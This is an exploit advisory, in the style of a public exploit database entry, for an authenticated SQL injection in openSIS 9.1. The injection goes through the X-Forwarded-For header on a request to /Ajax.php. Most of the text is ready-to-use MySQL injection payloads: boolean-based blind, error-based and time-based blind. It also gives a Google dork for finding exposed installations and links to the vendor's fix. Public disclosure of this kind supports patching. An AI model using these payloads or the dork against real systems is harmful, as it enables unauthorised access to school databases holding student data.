openSIS 9.1 SQL Injection

# Exploit Title: openSIS 9.1 - SQLi (Authenticated)# Google Dork: intext:"openSIS is a product"# Date: 09.09.2024# Exploit Author: Devrim Dıragumandan (d0ub1edd)# Vendor Homepage: https://www.os4ed.com/# Software Link: https://github.com/OS4ED/openSIS-Classic/releases/tag/V9.1# Version: 9.1# Tested on: LinuxA SQL injection vulnerability exists in OS4Ed Open Source Information System Community v9.1 via the "X-Forwarded-For" header parameters in POST request sent to /Ajax.php. GET /Ajax.php?modname=x HTTP/1.1---    Parameter: X-Forwarded-For #1* ((custom) HEADER)    Type: boolean-based blind    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: 127.0.0.2' AND EXTRACTVALUE(5785,CASE WHEN (5785=5785) THEN 5785 ELSE 0x3A END) AND 'HVwG'='HVwG    Type: error-based    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)    Payload: 127.0.0.2' AND GTID_SUBSET(CONCAT(0x717a787671,(SELECT (ELT(5261=5261,1))),0x71716b6b71),5261) AND 'djze'='djze    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: 127.0.0.2' AND (SELECT 5313 FROM (SELECT(SLEEP(5)))VeyP) AND 'ZIae'='ZIae--- FIX: https://github.com/OS4ED/openSIS-Classic/pull/322